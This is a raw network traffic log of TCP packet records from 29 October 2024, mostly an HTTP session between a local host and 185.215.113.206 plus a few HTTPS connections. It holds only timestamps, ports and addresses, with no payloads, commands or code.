Oct 29, 2024 15:27:50.061017036 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061021090 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.061024904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061034918 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061042070 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061053038 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.061069965 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.061100960 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061139107 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.061290979 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061301947 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061309099 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061316013 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061321020 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061327934 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061340094 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061341047 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.061348915 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061383009 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.061398029 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.061441898 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061449051 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061455011 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061461926 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061476946 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061484098 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061487913 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061490059 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.061518908 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.061530113 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.061908960 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061924934 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061932087 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061938047 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061944008 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061950922 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061964035 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.061968088 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.062001944 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.062055111 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062062025 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062074900 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062083960 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062138081 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.062138081 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.062197924 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062206984 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062212944 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062218904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062226057 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062233925 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062247992 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062258005 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.062299013 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.062367916 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062376022 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062381983 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062388897 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062393904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062400103 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062422991 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.062525034 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062531948 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062537909 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062544107 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.062562943 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.062582970 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.062694073 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062705040 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062717915 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062724113 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062730074 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062742949 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062747955 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062753916 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.062753916 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062762022 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062768936 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062787056 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.062810898 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.062833071 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062839985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062851906 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.062880993 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.063030005 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063039064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063044071 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063050985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063081980 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.063093901 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.063180923 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063189983 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063203096 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063206911 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063214064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063221931 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063229084 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063235998 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063235044 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.063268900 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.063288927 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.063368082 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063374996 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063385963 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063390970 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063397884 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063416958 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.063447952 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.063498020 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063507080 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063512087 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063518047 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063523054 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063536882 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063539982 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.063543081 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063550949 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063560009 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.063565016 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063571930 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063575983 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.063610077 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.063627958 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063635111 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.063636065 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063649893 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063657045 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063663006 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063669920 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063677073 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063678026 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.063710928 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.063730001 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.063807964 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063827038 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063833952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063838959 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063848019 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.063848972 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.063863993 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.063895941 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.063997030 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064007998 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064019918 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064027071 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064033031 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064040899 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064063072 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.064083099 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.064137936 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064146042 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064157009 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064163923 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064174891 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064181089 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064184904 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.064188957 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064214945 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.064225912 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.064325094 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064336061 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064347982 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064353943 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064359903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064366102 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064373016 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064378977 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.064379930 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064389944 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064415932 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.064435959 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.064476967 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064485073 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064491987 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064498901 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064505100 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064512014 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064524889 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064543009 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.064564943 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.064580917 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.064657927 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064663887 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064676046 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064712048 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.064732075 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.064831972 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064838886 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064843893 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064856052 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064862013 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064871073 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064873934 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064881086 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064882040 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.064887047 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064894915 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.064903975 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.064941883 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.064992905 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065001011 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065011978 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065017939 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065022945 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065033913 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065041065 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065042973 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.065045118 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065059900 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065068007 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.065088034 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.065100908 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.065140963 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065154076 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065164089 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065171003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065176964 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065186024 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065198898 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.065234900 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.065315962 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065332890 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065336943 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065359116 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.065392017 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.065469980 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065480947 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065521955 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.065630913 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065639973 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065645933 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065651894 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065658092 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065668106 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.065670013 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065677881 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065685034 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065684080 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.065694094 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065722942 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.065737963 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.065764904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065772057 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065778017 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065783978 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065788984 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065794945 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065808058 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.065841913 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.065941095 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065948963 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065958977 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065964937 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065975904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065980911 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.065994978 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066015959 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.066045046 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.066102982 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066114902 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066123009 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066128016 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066133976 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066145897 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066153049 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066159010 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066170931 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066176891 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066189051 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066194057 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.066246033 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.066246033 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.066246033 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.066282034 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066292048 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066298962 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066303968 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066315889 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066320896 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066333055 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066334963 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066334963 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.066365004 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.066420078 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.066438913 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066447020 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066452980 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066464901 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066471100 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066478014 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066483974 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.066493988 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.066525936 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.066792965 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066893101 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.066960096 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066973925 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.066979885 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.067012072 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.067092896 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.068746090 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:50.068780899 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:50.068825006 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:50.068836927 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:50.068861008 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:50.068873882 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:50.069046021 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:50.069096088 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:50.069103003 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:50.069117069 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:50.069159985 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:50.069505930 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:50.069516897 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:50.088175058 CET	443	50022	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.088216066 CET	443	50022	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.088264942 CET	443	50022	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.088321924 CET	50022	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.088654041 CET	50022	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.088670015 CET	443	50022	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.088680029 CET	50022	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.088687897 CET	443	50022	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.093738079 CET	443	50019	20.125.209.212	192.168.2.6
Oct 29, 2024 15:27:50.102264881 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.102279902 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.102304935 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.102309942 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.102366924 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.102402925 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.117501974 CET	443	50019	20.125.209.212	192.168.2.6
Oct 29, 2024 15:27:50.117559910 CET	50019	443	192.168.2.6	20.125.209.212
Oct 29, 2024 15:27:50.118463039 CET	50019	443	192.168.2.6	20.125.209.212
Oct 29, 2024 15:27:50.118488073 CET	443	50019	20.125.209.212	192.168.2.6
Oct 29, 2024 15:27:50.139858961 CET	50030	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.139899969 CET	443	50030	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.140101910 CET	50030	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.140371084 CET	50030	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.140388012 CET	443	50030	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.143121004 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.143130064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.143141985 CET	80	49940	185.215.113.206	192.168.2.6
